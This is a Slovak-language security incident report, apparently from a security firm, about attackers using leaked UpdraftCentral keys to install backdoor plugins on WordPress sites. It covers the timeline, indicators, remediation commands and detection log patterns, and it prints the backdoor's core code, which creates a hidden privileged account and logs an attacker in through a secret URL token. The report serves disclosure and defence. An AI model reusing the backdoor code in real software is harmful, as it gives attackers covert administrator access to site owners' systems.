Kritický bezpečnostný problém UpdraftCentral: útočník s kľúčmi služby nahral backdoor na naše weby

Kritický bezpečnostný problém UpdraftCentral: útočník s kľúčmi služby nahral backdoor na naše weby

Zhrnutie

Stav k 22. októbru 2026, posledná aktualizácia 22. 10. 2026 (nové vyjadrenia výrobcu, kontrolný skript v9). Zoznam zmien je na konci článku. Text budeme dopĺňať podľa ďalšieho vývoja.

Aktualizácia 19. 10. 2026: TeamUpdraft potvrdil bezpečnostný incident. Cez víkend 17. a 18. októbra mal útočník neoprávnený prístup na teamupdraft.com a podľa výrobcu pravdepodobne získal zákaznícku databázu: mená, e-maily, fakturačné adresy, históriu objednávok, hashe hesiel, nastavenia dvojfaktorového overenia a kľúče spojení pre UpdraftCentral (cloud), UpdraftVault a UpdraftClone. Kľúče, ktorými útočník podpisoval príkazy, teda unikli priamo od výrobcu. Výrobca odhlásil všetky účty, vymenil kľúče pre UpdraftVault a UpdraftClone a pripravuje núdzovú verziu UpdraftPlus, ktorá automaticky odpojí všetky spojenia UpdraftCentral vytvorené pred 18. 10. 2026 22:00 BST (23:00 SELČ). Neskôr túto hranicu vo vyhlásení opravil na 13:07 BST (14:07 SELČ), pozri nižšie. Dashboardov UpdraftCentral hosťovaných na vlastnom serveri sa únik podľa výrobcu netýka.

Aktualizácia 19. 10. 2026 (večer): Patchstack zverejnil vlastnú analýzu, ktorá naše zistenia potvrdzuje a rozširuje. Videl 99 rôznych názvov backdoor pluginov nainštalovaných od 18. 10. 15:32 do 19. 10. 9:23 a druhú IP adresu útočníka 2a09:bac5:4e21:2e3c::49b:9. Ozvali sa nám aj ďalší postihnutí správcovia. Jeden z nich našiel druhý variant backdooru, ktorý vytvára administrátora a pokúša sa ho skryť. Popisujeme ho nižšie a kontrolný skript sme upravili, aby ho zachytil. Ak ste skript spúšťali skôr, spustite ho znova.

Aktualizácia 19. 10. 2026 (funkčný variant): Ďalší správca potvrdil, že funkčná verzia backdooru je v obehu. Na jeho weboch boli tri zo štyroch backdoorov funkčné, každý s iným názvom aj popisom. Bez parametra m prihlási útočníka ako existujúceho administrátora a nezanechá v databáze žiadnu stopu, preto skontrolujte aj access log (postup nižšie). Kontrolný skript sme upravili na verziu 3, ktorá takéto vzorky zachytí podľa kódu.

Aktualizácia 19. 10. 2026 (rozbor vzorky): Ďalší postihnutý správca nám poslal tri backdoory zo svojich webov. Útočník tam najprv nahral pokazený prvý variant a neskôr funkčné backdoory. Ak ste našli prvý variant, ale kľúč UpdraftCentral ste hneď nezmazali, skontrolujte web znova. Vzorku druhého variantu sme tak mohli rozobrať aj sami. Skrývanie účtu v nej nefunguje, takže vytvorený administrátor sa v zozname používateľov zobrazí normálne. Tretia vzorka je nový minimálny variant, ktorý útočníka iba prihlási ako existujúceho administrátora. Zachytí ho kontrolný skript vo verzii 4.

Aktualizácia 19. 10. 2026 (útočník sa vracia): Útočník je stále aktívny. Počas 19. októbra poslal na všetky tri naše weby ďalšie príkazy, naposledy o 20:27 SELČ. Na webe iného správcu o 12:22 SELČ príkazom plugin.delete_plugin zmazal pokazený backdoor a o dve sekundy neskôr nahral nový. U nás pokusy zablokoval mu-plugin z kroku 3 a kľúče už boli zmazané. Kľúč UpdraftCentral zmažte aj vtedy, ak ste backdoor už odstránili. Pokusy zablokované mu-pluginom sa do logu UpdraftCentral nezapíšu, nájdete ich len v access logu.

Aktualizácia 19. 10. 2026 (núdzová verzia): Výrobca vydal UpdraftPlus 1.26.12 / 2.26.12, ktorá mala zmazať kľúče UpdraftCentral Cloud spred incidentu. V kóde sme overili, že pre chybu nezmaže žiadny kľúč. Výrobca to v ten istý večer opravil vo verzii 1.26.13 / 2.26.13. Aktualizujte na 1.26.13 / 2.26.13 alebo novšiu, nie na 1.26.12 / 2.26.12. Ani 1.26.13 však nezmaže kľúče vytvorené 18. 10. medzi 14:07 a 23:00 SELČ, hoci výrobca vo vyhlásení pôvodne uviedol hranicu 23:00 SELČ. Vo vyhlásení aktualizovanom 23. 10. už uvádza 14:07 SELČ (13:07 BST), čo zodpovedá kódu. Kľúče vytvorené 18. 10. neskôr pre istotu zmažte ručne; návod výrobcu aj tak radí zmazať kľúč na každom webe. Útoky na naše weby začali až po tom, čo výrobca únik potvrdil a útočníkovi zablokoval prístup: ukradnuté kľúče fungujú, kým ich web nezmaže. Naše weby s prémiovou verziou ju dostali automaticky 20. 10.

Aktualizácia 20. 10. 2026 (kľúč bez vedomia správcu): Kľúč UpdraftCentral môžete mať, aj keď ste UpdraftCentral nikdy nepoužívali. UpdraftPlus, bezplatný aj prémiový, pri prihlásení k účtu teamupdraft.com predvolene zaškrtne políčko „Add this website to UpdraftCentral“. Skontrolujte preto kľúč na každom webe s UpdraftPlus. Ďalší napadnutý správca nám napísal, že UpdraftCentral nikdy nezapínal. Jeho web mal Wordfence, Patchstack aj Cloudflare a ani jeden z nich platne podpísaný príkaz UpdraftCentral nezastavil.

Aktualizácia 20. 10. 2026 (skrytý backdoor): Ďalší správca nám poslal tri backdoory z jedného webu. Jeden z nich, „Site Health Cache“, sa skrýva zo zoznamu pluginov v administrácii, takže ho tam neuvidíte. Spoľahnite sa preto na kontrolný skript, ktorý číta súbory priamo z disku. Na tom istom webe útočník za necelých desať hodín nahral minimálny, funkčný aj pokazený variant.

Aktualizácia 20. 10. 2026 (ďalšie vzorky): Od troch správcov sme dostali ďalších desať vzoriek. Všetky patria k trom známym variantom, mení sa len názov, popis, falošný autor a token. Na dvoch weboch jedného správcu bežali funkčné backdoory vyše troch hodín predtým, než web zhodil pokazený variant. To, že web spadol, teda neznamená, že útočník predtým nemohol vojsť. Access log skontrolujte aj vtedy. Aj tento správca UpdraftCentral podľa vlastných slov nikdy nepoužíval.

Aktualizácia 20. 10. 2026 (útočník skúša backdoory): 20. októbra útočník priamo vyskúšal tajné spúšťače už odstránených backdoorov na najmenej šiestich weboch štyroch správcov vrátane dvoch našich (u nás o 11:39 a 11:57 UTC). Na našich weboch použil správne tokeny. Požiadavky prišli z IP adries 178.83.37.220, 178.83.37.243, 178.94.218.31 a z rozsahov 69.33.133.x, 69.33.134.x a 69.33.144.x, vždy s orezanou hlavičkou User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36. Všade dostal bežnú stránku alebo chybu, lebo backdoory tam už neboli. Ak backdoor na webe ešte máte, útočník ho aktívne používa. Access log prehľadajte podľa postupu nižšie.

Aktualizácia 21. 10. 2026 (útočník stále posiela príkazy): Aj 21. októbra ráno poslal útočník z IP 43.250.53.42 ďalšie príkazy UpdraftCentral na dva naše weby (7:10 až 9:21 UTC), teda už po vydaní verzie 1.26.13 / 2.26.13. U nás ich zastavil mu-plugin a kľúče už neexistovali. Útočník teda kľúče z úniku stále používa. Ohrozené zostávajú weby, ktoré nemajú 1.26.13 / 2.26.13 a kľúč nezmazali ručne.

Čoho sa to týkaslužby UpdraftCentral, ktorej klient je súčasťou pluginu UpdraftPlus, bezplatného aj prémiového
Dotknuté verzievšetky verzie UpdraftPlus do 1.26.12 a 2.26.12 pripojené k UpdraftCentral Cloud spojením vytvoreným najneskôr 18. 10. 2026. Verzia 1.26.13 / 2.26.13 zmaže kľúče vytvorené pred 18. 10. 14:07 SELČ (13:07 BST). Túto hranicu uvádza od aktualizácie 23. 10. aj vyhlásenie výrobcu (pôvodne 23:00 SELČ). Kľúče vytvorené 18. 10. neskôr na webe ostanú, preto ich pre istotu zmažte ručne. Pripojené weby s verziami do 1.26.4 a 2.26.4 vie útočník napadnúť aj bez platných kľúčov (CVE-2026-10795).
Koľko webovUpdraftPlus má podľa wordpress.org viac ako 4 milióny aktívnych inštalácií a výrobca ho označuje za najpopulárnejší plugin na plánované zálohovanie na svete. Pri júnovej chybe toho istého kanála výrobca odhadol, že kľúč UpdraftCentral alebo Migrator má menej ako 10 % používateľov, teda až okolo 400 000 webov. Koľko z nich útočník napadol, nevieme.
Opravavýrobca 19. 10. vydal UpdraftPlus 1.26.12 / 2.26.12, ktorá mala zmazať staré kľúče UpdraftCentral Cloud, ale pre chybu nezmaže žiadny. Funguje až 1.26.13 / 2.26.13 z večera 19. 10.: pri každom načítaní webu zmaže kľúče UpdraftCentral Cloud vytvorené pred 18. 10. 2026 14:07 SELČ. Kľúče vytvorené od 14:07 do 23:00 SELČ (pôvodná hranica výrobcu) treba zmazať ručne, rovnako na weboch, kde aktualizácia ešte neprebehla. Návod výrobcu aj tak radí zmazať kľúč na každom webe. Podľa výrobcu WordPress.org verziu 1.26.13 rozoslal všetkým webom automaticky.
Dočasné riešeniezrušiť spojenie s UpdraftCentral, web skontrolovať naším skriptom, zmeniť heslo k účtu teamupdraft.com a voliteľne zablokovať príkazy UpdraftCentral malým mu-pluginom (postup nižšie). UpdraftPlus netreba odinštalovať, zálohovanie funguje ďalej.

V noci na 19. októbra 2026 poslal útočník z IP adresy 43.250.53.42 cez službu UpdraftCentral príkaz plugin.upload_plugin na tri naše WordPress weby. UpdraftCentral je služba na vzdialenú správu webov od TeamUpdraft a jej klient je zabudovaný v každej kópii pluginu UpdraftPlus. Na dvoch z našich webov príkaz prešiel a WordPress nainštaloval a aktivoval neznámy plugin. Na treťom zlyhal na oprávneniach.

Chyba nebola na našej strane. Všetky tri weby mali aktuálny WordPress 7.1.3 aj UpdraftPlus 2.26.11, opravený proti júnovej zraniteľnosti CVE-2026-10795. Útočník sa do našich serverov nenabúral a nevyužil žiadnu chybu v našej konfigurácii. Prišiel kanálom vzdialenej správy UpdraftCentral a príkazy podpísal platnými súkromnými kľúčmi dashboardu. Tie generuje a uchováva služba UpdraftCentral Cloud a na našich serveroch nikdy neboli. Kto ich má, môže na každom pripojenom webe bez vedomia majiteľa nainštalovať a spustiť ľubovoľný kód. Preto to považujeme za kritický bezpečnostný problém služby UpdraftCentral.

Kto je ohrozený: každý web s UpdraftPlus, bezplatným aj prémiovým, ktorý je pripojený k UpdraftCentral, teda má vytvorený kľúč UpdraftCentral. Klienta UpdraftCentral obsahuje každá z viac ako 4 miliónov inštalácií UpdraftPlus. Weby, ktoré k UpdraftCentral pripojené nie sú, tento útok neohrozuje, lebo príkazy UpdraftCentral bez kľúča neprijímajú. Naše weby boli pripojené k UpdraftCentral Cloud, teda k dashboardu, ktorý prevádzkuje TeamUpdraft. Podľa výrobcu sa únik netýka dashboardov UpdraftCentral hosťovaných na vlastnom serveri. Unikli však aj kľúče pre UpdraftVault a UpdraftClone, ktoré výrobca medzitým vymenil. Kľúč pritom mohol vzniknúť aj bez vedomia správcu: bezplatná aj prémiová verzia pri prihlásení k účtu teamupdraft.com na karte Premium / Extensions ponúka políčko „Add this website to UpdraftCentral“, ktoré je predvolene zaškrtnuté, kým web nemá žiadny kľúč (overili sme v kóde verzií 2.26.11 a 1.26.13). Samotnou inštaláciou pluginu kľúč nevznikne, len prihlásením k účtu teamupdraft.com v plugine. Týka sa to preto najmä prémiových webov, kde sa správca prihlasuje kvôli licencii a aktualizáciám, a bezplatných webov, ktoré sa k účtu niekedy prihlásili.

Nejde o zraniteľnosť CVE-2026-10795, o ktorej v júni písal Wordfence: tú mali naše weby opravenú a pokusy o jej zneužitie na nich zlyhávali.

Plugin je backdoor. Na tajný odkaz mal vytvoriť účet so zamaskovanými právami administrátora a útočníka do neho rovno prihlásiť. Autor však v kóde urobil chybu, takže na našich weboch backdoor nikdy nefungoval. Namiesto toho zhodil každú požiadavku na web, ktorá nešla z cache, a WordPress nám o tom poslal e-mail. Vďaka tomu sme ho našli do niekoľkých minút až hodín. Iní správcovia však už našli aj funkčné varianty, ktoré popisujeme nižšie.

TeamUpdraft sme incident nahlásili 19. októbra a požiadali sme ich o vysvetlenie, ako sa kľúče dostali k útočníkovi.

Ak máte web pripojený k UpdraftCentral, považujte ho za potenciálne kompromitovaný, kým ho neoveríte. Spojenie okamžite zrušte a web skontrolujte podľa postupu nižšie. K 19. októbru 2026 sme o tomto backdoore ani o podobnom útoku po júnovej oprave nenašli žiadnu verejnú zmienku.

Čo urobiť hneď

1. Zrušte spojenie s UpdraftCentral

Aktualizujte UpdraftPlus na verziu 1.26.13 (bezplatná) alebo 2.26.13 (prémiová) či novšiu. Tá sama zmaže kľúče UpdraftCentral Cloud vytvorené pred 18. 10. 2026 14:07 SELČ. Verzia 1.26.12 / 2.26.12 kľúče nezmaže. Potom aj tak skontrolujte, či na webe nezostal žiadny kľúč:

V administrácii WordPressu otvorte Nastavenia → UpdraftPlus Backups → karta „Advanced Tools“ → „UpdraftCentral“. Kliknite na „Manage existing keys (N)…“ a pri každom kľúči na „Delete…“. Ak tam žiadny kľúč nie je, web pripojený nie je.

S prístupom na príkazový riadok to isté urobí tento príkaz v koreňovom priečinku WordPressu:

wp option delete updraft_central_localkeys

Potom web odstráňte aj v dashboarde UpdraftCentral (teamupdraft.com → My account → UpdraftCentral → ••• pri webe → Remove site). Samotné odstránenie z dashboardu nestačí. Útočník má súkromný kľúč dashboardu, takže rozhoduje zmazanie kľúča na webe.

Výrobca uvádza, že po zmazaní kľúča, kontrole webu a zmene hesiel administrátorov môžete web znova pripojiť. Predtým si zmeňte heslo k účtu teamupdraft.com (adresu zadajte do prehliadača ručne, nie cez odkaz z e-mailu), rovnaké heslo zmeňte všade, kde ste ho použili, a znova nastavte dvojfaktorové overenie. Ak máte nasadený náš blokovací mu-plugin, pred novým pripojením ho odstráňte. Kto používa UpdraftVault, musí web k nemu znova pripojiť s novými údajmi.

Ak na webe máte aj kľúče UpdraftPlus Migrator (karta „Migrate / Clone“) a práve nemigrujete, zmažte aj tie, napríklad príkazom wp option delete updraft_migrator_localkeys. Používajú ten istý kanál a dovoľujú inému webu posielať na váš web súbory záloh. Ich zneužitie sme zatiaľ nevideli.

Prémiový UpdraftPlus si heslo k účtu teamupdraft.com ukladá do databázy tak, ako ho zadáte (voľba updraftplus-addons_options), a zmaže ho až po úspešnom overení tokenom. Môže preto zostať v databáze aj v jej zálohách. V praxi tam často zostane natrvalo. Jeden čitateľ ho našiel na všetkých troch weboch s prémiovou verziou a v zálohách už od roku 2022 a overil si, že sa uloží pri obyčajnom pripojení k účtu na karte Premium / Extensions. My sme ho našli na jednom z troch webov. Výrobca uvádza, že heslo sa po prvom pripojení zmaže, kód ho však maže až po úspešnom nárokovaní doplnkov cez token. Odstrániť ho môžete príkazom nižšie, aktualizácie pluginu ho nepotrebujú. Potom heslo k účtu zmeňte. Ak sa budete v plugine k účtu znova prihlasovať, odškrtnite políčko „Add this website to UpdraftCentral“. V doteraz analyzovaných vzorkách z tejto kampane sme kód, ktorý by toto heslo čítal, nenašli, prečítať ho však môže každý funkčný backdoor alebo nahratý plugin.

wp eval '$o = get_option("updraftplus-addons_options"); if (is_array($o)) { unset($o["password"]); update_option("updraftplus-addons_options", $o); }'

2. Overte, či na webe nie je backdoor

Bez príkazového riadka:

  • Na tej istej obrazovke UpdraftCentral kliknite na „View recent UpdraftCentral log events…“. Hľadajte riadky „Command received: plugin.upload_plugin“, „Command received: plugin.delete_plugin“ a „probe.central.updraftplus.com“. Ak je web za proxy, napríklad Cloudflare, log ukazuje IP adresu proxy, nie útočníka. Riadky „Signature verification failed; discarding“ znamenajú, že útočník to skúšal, ale jeho kľúč k webu nesedel a web príkaz zahodil.
  • V zozname pluginov hľadajte plugin, ktorý ste neinštalovali. Prvý variant má popis „Small maintenance toolkit: keeps option storage tidy.“ a názov z dvoch slov, väčšinou s tromi znakmi navyše, napríklad „Load Stack 35C“ alebo „Query Shelf“. Ďalšie varianty majú zakaždým iný názov aj popis, napríklad „Boost Kit“, „Cache Smith“ alebo „Site Health 364F“. Niektoré varianty sa však zo zoznamu pluginov skrývajú, takže pohľad doň nestačí.
  • V zozname používateľov hľadajte účet s menom „Site Tools“ alebo s e-mailom na @example.org či @example.com. Funkčný variant vytvára administrátora, ktorého sa snaží skryť, ale v zozname sa zobrazí normálne.
  • Ak backdoor útočníka prihlási ako existujúceho administrátora, žiadny účet nevytvorí. Vtedy ho prezradí len plugin a access log, preto web skontrolujte aj skriptom a pozrite access log.

Ak je na webe prvý variant backdooru, administrácia nemusí fungovať, lebo plugin zhadzuje každú požiadavku. Vtedy použite príkazový riadok.

S príkazovým riadkom uložte náš kontrolný skript z konca článku ako check-updraftcentral.php do koreňového priečinka WordPressu a spustite:

wp eval-file check-updraftcentral.php --skip-plugins --skip-themes

Skript nič nemení, iba číta. Prepínač --skip-plugins je dôležitý, lebo nainštalovaný backdoor inak zhodí aj WP-CLI. Riadky [ALERT] znamenajú stopy útoku, [WARN] vec na kontrolu a [OK] čistý výsledok. Záznam o prijatom príkaze ešte neznamená, že sa plugin nainštaloval (na jednom z našich webov neprešiel), preto skript kontroluje aj súbory, voľby v databáze a účty. Ak nájde čokoľvek s [ALERT], pokračujte časťou „Čo robiť, ak ho nájdete“.

UpdraftPlus si v logu UpdraftCentral pamätá iba posledných 50 udalostí. Na webe, kam často chodia skenery, môže záznam o útoku z logu vypadnúť a skript potom pri logu hlási [OK]. Ak máte prístup k logom webového servera, prehľadajte aj ich (cestu upravte podľa servera, pri nginx napríklad /var/log/nginx/):

grep 'class-udrpc.php"' /var/log/apache2/*access*

Príkaz nájde požiadavky UpdraftCentral bez verzie knižnice v hlavičke User-Agent, aké posielal útočník. Skutočný dashboard posiela class-udrpc.php/2.0; https://teamupdraft.com, takže ho príkaz nezachytí.

Funkčný variant backdooru nemusí v databáze zanechať nijakú stopu: bez parametra m prihlási útočníka ako existujúceho administrátora. V access logu preto hľadajte aj požiadavky na spúšťače oboch variantov:

zgrep -E '[?&](_[0-9a-f]{6}|[0-9a-f]{12})=[^&" ]{32}[& ]' /var/log/apache2/*access*

Každý nájdený riadok preverte. Stav 302 znamená presmerovanie do administrácie, teda pravdepodobne úspešné prihlásenie útočníka. Stav 500 znamená, že na webe je ešte pokazený variant. Stav 200 s bežnou veľkosťou stránky znamená, že backdoor na webe už nie je. Príkaz zgrep prehľadá aj staršie komprimované logy.

3. Voliteľne: zablokujte príkazy UpdraftCentral úplne

Ak chcete mať istotu, že web nevykoná žiadny príkaz UpdraftCentral ani vtedy, keby na ňom ostal kľúč, uložte do priečinka wp-content/mu-plugins/ súbor block-updraftcentral.php s týmto obsahom:

<?php
// Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.
if ( isset( $_POST['udrpc_message'] ) ) {
	http_response_code( 403 );
	exit;
}

Súbory v mu-plugins WordPress načíta pred bežnými pluginmi, takže požiadavka sa zastaví skôr, než ju UpdraftPlus spracuje. Blokuje aj migráciu webov cez UpdraftPlus Migrator, ktorá používa ten istý kanál. Keď výrobca problém vysvetlí a vyrieši, súbor zmažte.

Ďalšia lacná ochrana: ak PHP nemôže zapisovať do wp-content/plugins (napríklad iný vlastník priečinka a práva 750), web podpísaný príkaz síce prijme, ale inštalácia pluginu zlyhá. Na jednom z napadnutých webov to útok zastavilo. Pluginy potom treba aktualizovať inak, napríklad cez WP-CLI pod vlastníkom priečinka.

Ak používate Wordfence, obnovte pravidlá firewallu (Wordfence → Firewall → All Firewall Options → Manually Refresh Rules). Wordfence vydal pravidlo, ktoré blokuje príkazy UpdraftCentral, aj pre bezplatnú verziu. Pravidlo však platí len pre UpdraftPlus do 1.26.11 a pred 2.26.12, takže web aktualizovaný na 1.26.12 / 2.26.12 už nechráni, hoci tieto verzie kľúče nezmažú. Aktualizujte preto rovno na 1.26.13 / 2.26.13.

Ako sme na to prišli

O 5:38 nám prišiel automatický e-mail WordPressu: „WordPress caught an error with one of your plugins, Load Stack 35C.“ Plugin s takým názvom sme nikdy neinštalovali. Chybová správa znela Uncaught Error: Undefined constant LoadStack35c::FIELD a náš web od 4:14 vracal na každú požiadavku chybu 500.

Priečinok wp-content/plugins/load-stack-35c/ mal všetky súbory s rovnakým časom zápisu, 4:14:30. O sekundu neskôr sa zmenil priečinok wp-content/upgrade/, ktorý WordPress používa pri rozbaľovaní inštalovaných pluginov. Plugin teda prišiel cez štandardný inštalátor WordPressu, nie cez nahratie súboru na disk. V access logu presne v tej sekunde stojí jediná požiadavka:

43.250.53.42 - - [19/Oct/2026:04:14:30 +0200] "POST / HTTP/1.1" 200 8454 "-" "WordPress/6.4; class-udrpc.php"

class-udrpc.php je knižnica, cez ktorú UpdraftPlus prijíma príkazy z UpdraftCentral. Jej vlastný log (voľba updraftcentral_client_log v databáze) to potvrdil: Command received: plugin.upload_plugin.

Časová os

Weby označujeme A, B a C. Všetky časy sú v SELČ. Všetky požiadavky prišli z 43.250.53.42 (poskytovateľ RedSwitches) s hlavičkou User-Agent WordPress/6.4; class-udrpc.php.

WebSondaInštalácia pluginuVýsledok
Web C19. 10. 0:41:326:05:31zlyhala, kľúč patril používateľovi bez práva inštalovať pluginy
Web A2:14:054:14:30backdoor „Load Stack 35C“ aktívny, web nedostupný do 6:13
Web B2:39:446:53:49backdoor „Text Gantry Eb0“ aktívny, odstránený o 6:56

Sonda je správa adresovaná neexistujúcemu kľúču probe.central.updraftplus.com. Web na ňu odpovie, že správe nerozumie, a tým prezradí, že prijíma príkazy UpdraftCentral. Nasledujúci príkaz už útočník poslal na skutočný kľúč 0.central.updraftplus.com. Na všetkých troch weboch prebehol útok rovnako, od toho istého útočníka, s odstupom niekoľkých hodín.

Iný správca nám poslal záznamy, podľa ktorých tá istá IP 43.250.53.42 skúšala na dvoch z jeho webov už 23. septembra 2026 iné útoky: dotaz na REST API so zoznamom stránok a asi desať pokusov o path traversal v parametri pagename. Útočník teda tieto weby skúmal takmer mesiac pred útokom cez UpdraftCentral.

Útočník sa k webom vracal. 19. októbra poslal ďalšie požiadavky UpdraftCentral na web A o 10:57:48, na web B o 11:14:19 a na web C o 12:03:14, vždy dve v tej istej sekunde, a na web C ešte jednu o 20:27:50. Všetky už zastavil náš mu-plugin s odpoveďou 403, takže nevieme, čo obsahovali. Iný správca nám poslal log UpdraftCentral, podľa ktorého útočník o 12:22:48 poslal plugin.delete_plugin a o 12:22:50 nový plugin.upload_plugin, čím pokazený backdoor nahradil iným. Naše dvojice požiadaviek pravdepodobne patria k rovnakej výmene. UpdraftPlus zapíše každý príkaz, ktorý prejde overením podpisu, do logu UpdraftCentral ako „Command received“ ešte pred vykonaním (overili sme v kóde verzie 2.26.11). Log však drží len posledných 50 udalostí a požiadavky zastavené mu-pluginom v ňom nie sú.

Na webe ďalšieho správcu poslal útočník sondu 18. 10. o 23:10:30 SELČ a potom nahral tri rôzne backdoory: o 23:39:52 minimálny skrytý „Site Health Cache“, o 0:34:34 funkčný „Fast2engine“ a 19. 10. o 9:28:47 pokazený „Post Dock 776“. Dvojica požiadaviek o 11:40:45 a 11:40:46 tam skončila chybou 500, lebo pokazený backdoor už zhadzoval celý web. Útočník teda neposiela vždy najprv pokazený variant a na jeden web ich môže nahrať viac.

Ako útok prebehol

Pri pripojení webu k UpdraftCentral si web vygeneruje pár kľúčov RSA a verejný kľúč pošle službe UpdraftCentral Cloud. Služba má vlastný pár kľúčov a webu pošle iba svoj verejný kľúč. Súkromný kľúč dashboardu ostáva u služby. Každý príkaz musí byť zašifrovaný pre kľúč webu a podpísaný súkromným kľúčom dashboardu. Web ho potom vykoná s právami používateľa, ktorý kľúč vo WordPresse vytvoril.

Príkaz plugin.upload_plugin prešiel na dvoch weboch celou touto kontrolou. Podrobne sme to rozobrali na webe A a vylúčili sme tieto vysvetlenia:

  1. Známa zraniteľnosť CVE-2026-10795. Týka sa verzií UpdraftPlus do 1.26.4 (prémiová do 2.26.4). Naše weby mali 2.26.11. Pokusy o jej zneužitie vidíme na weboch B a C v logoch od júna z desiatok IP adries a všetky skončili hláškou „Could not decrypt incoming message“.
  2. Upravený plugin. Súbory class-udrpc2.php, central/bootstrap.php, central/listener.php a central/host.php sú bajt po bajte zhodné s oficiálnou verziou 1.26.11 z wordpress.org.
  3. Starší formát správ bez podpisu. Kód ho pre kľúče UpdraftCentral odmieta a záznam „Command received“ vzniká až po tejto kontrole.
  4. Podvrhnutý kľúč dashboardu. Odtlačky kľúčov sú rovnaké v denných zálohách z 15. až 18. októbra aj v živej databáze a v access logoch nikto nevolal funkciu na výmenu kľúča.
  5. Slabá kryptografia. Kľúč webu aj dashboardu majú RSA 2048 bitov s exponentom 65537 a UpdraftPlus obsahuje phpseclib 2.0.55, v ktorej je opravená známa chyba v overovaní podpisov.
  6. Napadnutý wp-admin. Neznámi administrátori nepribudli, kontrolné súčty jadra aj pluginov sedia a v logoch nie je žiadne nahratie pluginu cez administráciu.

Útočník teda mal súkromné kľúče dashboardu pre všetky tri spojenia naraz. Na našich serveroch tieto kľúče nikdy neboli, takže odtiaľ uniknúť nemohli. Príkazy pritom neprišli zo servera TeamUpdraft. Skutočný dashboard posielal na web B v marci a apríli 2026 príkazy s hlavičkou User-Agent:

WordPress/6.8.5; class-udrpc.php/2.0; https://teamupdraft.com

Útočník posielal WordPress/6.4; class-udrpc.php, bez verzie knižnice a bez URL, zo svojho servera. Kľúče teda unikli z prostredia UpdraftCentral Cloud a útočník ich použil mimo neho.

TeamUpdraft 19. októbra potvrdil, že cez víkend 17. a 18. októbra mal útočník prístup na teamupdraft.com a pravdepodobne aj k zákazníckej databáze vrátane kľúčov UpdraftCentral. Kľúče teda unikli z infraštruktúry výrobcu. Zodpovedá tomu aj časová os: kľúče pre weby B a C existovali od novembra 2025 a útočník ich nepoužil až do noci z 18. na 19. októbra, teda hneď po úniku. Ako sa útočník na teamupdraft.com dostal, výrobca neuviedol.

Na webe C útok zlyhal pre náhodu. Kľúč tam v novembri 2025 vytvoril používateľ, ktorý už nie je administrátor. UpdraftCentral pred inštaláciou overuje, či má vlastník kľúča práva install_plugins a activate_plugins. Nemal ani jedno.

Prečo ide o kritický problém UpdraftCentral

Klient UpdraftCentral je súčasťou každej kópie UpdraftPlus, bezplatnej aj prémiovej. Zapne sa, keď majiteľ pripojí web k dashboardu. Odvtedy web vykoná každý príkaz podpísaný kľúčom dashboardu s právami administrátora, ktorý spojenie vytvoril, vrátane nahratia a aktivácie ľubovoľného pluginu. Majiteľ webu príkaz nepotvrdzuje a v našom prípade nás o ňom nič neupozornilo. Kľúče na strane webu nemajú dobu platnosti: tie z novembra 2025 fungovali aj v októbri 2026 a iný správca hlási zneužité kľúče z februára a marca 2022. Vek kľúča teda pred zneužitím nechráni. Zneužitý bol aj kľúč webu A vytvorený 10. 10. 2026. Iný správca si všimol, že testovaciu kópiu webu s rovnakým kľúčom, ale inou adresou útočník nechal na pokoji. Útočník teda zrejme postupoval podľa zoznamu webov, ktorý má len UpdraftCentral.

Bezpečnosť všetkých pripojených webov tak stojí na jedinom predpoklade, že súkromné kľúče dashboardu neuniknú. Unikli, a útočník z jedného miesta za pár hodín ovládol dva weby a pokúsil sa o tretí. UpdraftPlus má viac ako 4 milióny aktívnych inštalácií. Počtom inštalácií ho medzi pluginmi so zálohovaním na wordpress.org predbieha iba All-in-One WP Migration (5+ miliónov), ktorý slúži hlavne na migráciu webov. UpdraftCentral používa len časť používateľov UpdraftPlus, aj malý podiel zo 4 miliónov však znamená veľa webov.

Ten istý kanál už raz zlyhal. V júni 2026 výrobca opravil zraniteľnosť CVE-2026-10795 (CVSS 8.1), cez ktorú mohol útočník bez prihlásenia podvrhnúť príkazy UpdraftCentral a nainštalovať a aktivovať škodlivý plugin. Pokusy o jej zneužitie zachytávame v našich logoch dodnes.

Čo presne backdoor robí

Plugin má päť súborov, ale logiku obsahuje iba hlavný. Tu je jeho podstatná časť zo vzorky z webu A. Token a heslo sme skrátili:

define( 'LOADSTACK35C_TOKEN', 'j0j8nxxH…' );      // 32 znakov
define( 'LOADSTACK35C_FIELD', '_9f5696' );
define( 'LOADSTACK35C_SVC_LOGIN', 'data-ops43' );
define( 'LOADSTACK35C_SVC_PASS', 'L7sfkZMw…' );    // 22 znakov

final class LoadStack35c {
	private function __construct() {
		add_action( 'init', array( $this, 'handle_sync' ), 1 );
	}

	public function handle_sync() {
		if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {
			$user = get_user_by( 'login', self::SVC_LOGIN );
			if ( ! $user ) {
				$uid = wp_insert_user( array(
					'user_login'   => self::SVC_LOGIN,
					'user_pass'    => self::SVC_PASS,
					'user_email'   => self::SVC_LOGIN . '@example.org',
					'display_name' => 'Site Tools',
					'role'         => 'editor',
				) );
				if ( is_wp_error( $uid ) ) return;
				$u = new WP_User( $uid );
				$u->add_cap( 'manage_options' );
				$u->add_cap( 'install_plugins' );
				$user = get_user_by( 'id', $uid );
			}
			wp_set_current_user( $user->ID, $user->user_login );
			wp_set_auth_cookie( $user->ID, true, is_ssl() );
			wp_safe_redirect( admin_url( 'index.php' ) );
			exit;
		}
	}
}

register_activation_hook( __FILE__, function () {
	if ( ! get_option( 'load_stack_35c_sync_token' ) ) {
		update_option( 'load_stack_35c_sync_token', 'j0j8nxxH…', false );
	}
} );

LoadStack35c::instance();

Takto by fungoval, keby v ňom nebola chyba:

  1. Pri každej požiadavke na web sa zavesí na akciu init s prioritou 1, teda skôr než väčšina ostatných pluginov.
  2. Pozrie sa, či adresa obsahuje parameter ?_9f5696=, a jeho hodnotu porovná s 32-znakovým tokenom. Porovnáva funkciou hash_equals, ktorá trvá rovnako dlho bez ohľadu na zhodu, takže token sa nedá uhádnuť meraním času odpovede. Bez správneho tokenu sa nestane nič a web sa správa normálne.
  3. So správnym tokenom vytvorí používateľa data-ops43 s heslom zapísaným v plugine, e-mailom data-ops43@example.org a zobrazovaným menom „Site Tools“.
  4. Dá mu rolu Editor a k tomu dve samostatné oprávnenia: manage_options a install_plugins.
